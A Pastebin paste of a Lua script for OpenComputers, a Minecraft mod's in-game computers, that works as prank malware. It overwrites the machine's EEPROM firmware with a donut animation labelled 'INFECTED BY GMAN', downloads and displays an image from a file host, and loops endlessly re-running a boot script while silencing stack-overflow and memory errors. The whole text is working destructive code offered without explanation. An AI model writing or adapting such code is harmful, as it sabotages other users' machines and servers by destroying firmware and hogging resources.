Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local component = require("component")
- local event = require("event")
- local term = require("term")
- local gpu = component.gpu
- local internet = require("internet")
- local computer = require("computer")
- local eeprom = component.eeprom
- local donutCode = [[
- local c = component
- local m = math
- local s = string
- local gpu = c.proxy(c.list("gpu")())
- local screen = c.list("screen")()
- if gpu and screen then
- gpu.bind(screen)
- else
- error("GPU or screen not available")
- end
- local w, h = gpu.getResolution()
- local sin, cos = m.sin, m.cos
- local buffer1 = gpu.allocateBuffer(w, h)
- local buffer2 = gpu.allocateBuffer(w, h)
- local currentBuffer = buffer1
- local backBuffer = buffer2
- local function swapBuffers()
- gpu.setActiveBuffer(backBuffer)
- local temp = currentBuffer
- currentBuffer = backBuffer
- backBuffer = temp
- end
- local function cls()
- gpu.fill(1, 1, w, h, " ")
- end
- local function donut()
- local A, B = 0, 0
- local z, b = {}, {}
- while true do
- for i = 1, 1760 do b[i] = " " z[i] = 0 end
- for j = 0, 6.28, 0.07 do
- for i = 0, 6.28, 0.02 do
- local sini, cosj = sin(i), cos(j)
- local sinA, sinj, cosA = sin(A), sin(j), cos(A)
- local cosj2 = cosj + 2
- local mess = 1 / (sini * cosj2 * sinA + sinj * cosA + 5)
- local cosi, cosB, sinB = cos(i), cos(B), sin(B)
- local t = sini * cosj2 * cosA - sinj * sinA
- local x = m.floor(40 + 30 * mess * (cosi * cosj2 * cosB - t * sinB))
- local y = m.floor(12 + 15 * mess * (cosi * cosj2 * sinB + t * cosB))
- local o = x + 80 * y
- local N = m.floor(8 * ((sinj * sinA - sini * cosj * cosA) * cosB - sini * cosj * sinA - sinj * cosA - cosi * cosj * sinB))
- if y > 0 and y < 22 and x > 0 and x < 80 and mess > z[o] then
- z[o] = mess
- b[o] = s.sub(".,-~:;=!*#$@", N > 0 and N or 1, N > 0 and N or 1)
- end
- end
- end
- gpu.setActiveBuffer(backBuffer)
- cls()
- for k = 1, 1760 do
- if k % 80 ~= 0 then gpu.set(k % 80, m.floor(k / 80), b[k]) end
- end
- swapBuffers()
- gpu.setActiveBuffer(0)
- gpu.bitblt(0, 1, 1, w, h, currentBuffer, 1, 1)
- A = A + 0.08
- B = B + 0.06
- computer.pullSignal(0.01)
- end
- end
- donut()
- ]]
- local function isStackOverflowError(err)
- if type(err) ~= "string" then return false end
- local lowerErr = err:lower()
- if lowerErr:find("stack overflow") then
- return true
- end
- if lowerErr:find("process library exception handler not enough memory") then
- return true
- end
- return false
- end
- local function safePCall(f, ...)
- local function errHandler(err)
- if isStackOverflowError(err) then
- return nil
- else
- return debug.traceback(err)
- end
- end
- local ok, result = xpcall(f, errHandler, ...)
- if not ok and result then
- io.stderr:write("Error: " .. tostring(result) .. "\n")
- end
- return ok, result
- end
- local function stringUnpack(format, str, pos)
- local function unpackInt(str, pos, size, signed)
- local val = 0
- for i = 0, size - 1 do
- val = val + str:byte(pos + i) * (256 ^ i)
- end
- if signed and val >= 2^(size*8-1) then
- val = val - 2^(size*8)
- end
- return val, pos + size
- end
- if format == "<I4" then return unpackInt(str, pos, 4, false)
- elseif format == "<I2" then return unpackInt(str, pos, 2, false)
- elseif format == "BBB" then return str:byte(pos), str:byte(pos+1), str:byte(pos+2), pos+3
- else error("Unsupported format: " .. format) end
- end
- local function yieldIfNeeded()
- if computer.uptime() % 0.1 < 0.01 then os.sleep(0) end
- end
- local function packColor(r, g, b)
- return (r * 256 + g) * 256 + b
- end
- local function downloadBMP(url)
- local chunks = {}
- for attempt=1, 3 do
- local response = internet.request(url)
- chunks = {}
- if response then
- for chunk in response do
- table.insert(chunks, chunk)
- yieldIfNeeded()
- end
- if #chunks > 0 then break end
- end
- os.sleep(2)
- end
- if #chunks == 0 then return nil end
- return table.concat(chunks)
- end
- local function clearTable(t)
- for k in pairs(t) do t[k] = nil end
- end
- local reuseTable = {}
- local function decodeAndDisplayBMPMode1(imageData)
- if not imageData then return end
- safePCall(function()
- local width = stringUnpack("<I4", imageData, 19)
- local height = stringUnpack("<I4", imageData, 23)
- local bitsPerPixel = stringUnpack("<I2", imageData, 29)
- local compression = stringUnpack("<I4", imageData, 31)
- local dataOffset = stringUnpack("<I4", imageData, 11)
- if bitsPerPixel ~= 24 or compression ~= 0 then error("Only 24-bit uncompressed BMPs supported.") end
- local rowSize = math.floor((bitsPerPixel * width + 31) / 32) * 4
- local xRatio = width / 160
- local yRatio = height / 50
- local screenWidth, screenHeight = gpu.getResolution()
- local xPos = math.floor((screenWidth - 160) / 2)
- local yPos = math.floor((screenHeight - 50) / 2)
- for y = 0, 49 do
- clearTable(reuseTable)
- for x = 0, 159 do
- local srcX = math.floor(x * xRatio)
- local srcY = math.floor(y * yRatio)
- local rowStart = dataOffset + (height - 1 - srcY) * rowSize
- local pixelStart = rowStart + srcX * 3
- local b, g, r = stringUnpack("BBB", imageData, pixelStart + 1)
- local color = packColor(r, g, b)
- gpu.setBackground(color)
- gpu.set(xPos + x, yPos + y, " ")
- end
- yieldIfNeeded()
- end
- end)
- end
- local function OC_BMP_Mode1_RunSpam()
- term.clear()
- local imageData = downloadBMP("https://files.catbox.moe/m2c28g.bmp")
- decodeAndDisplayBMPMode1(imageData)
- end
- local function spamProcess()
- while true do
- safePCall(function()
- os.execute("/boot/01_process.lua")
- end)
- coroutine.yield()
- end
- end
- local coSpam
- local function safeResume(co, name)
- if coroutine.status(co) == "dead" and name == "spamProcess" then
- co = coroutine.create(spamProcess)
- end
- safePCall(function()
- coroutine.resume(co)
- end)
- return co
- end
- local function replaceEEPROM()
- local ok = safePCall(function()
- eeprom.set(donutCode)
- eeprom.setLabel("INFECTED BY GMAN")
- end)
- end
- replaceEEPROM()
- local function skipOrRunBmp()
- local ramBytes = computer.totalMemory()
- if ramBytes < 640 * 1024 then
- return false
- else
- local ok = safePCall(OC_BMP_Mode1_RunSpam)
- return ok
- end
- end
- local ranBmp = skipOrRunBmp()
- coSpam = coroutine.create(spamProcess)
- while true do
- coSpam = safeResume(coSpam, "spamProcess")
- computer.pullSignal(0.05)
- end
Add Comment
Please, Sign In to add comment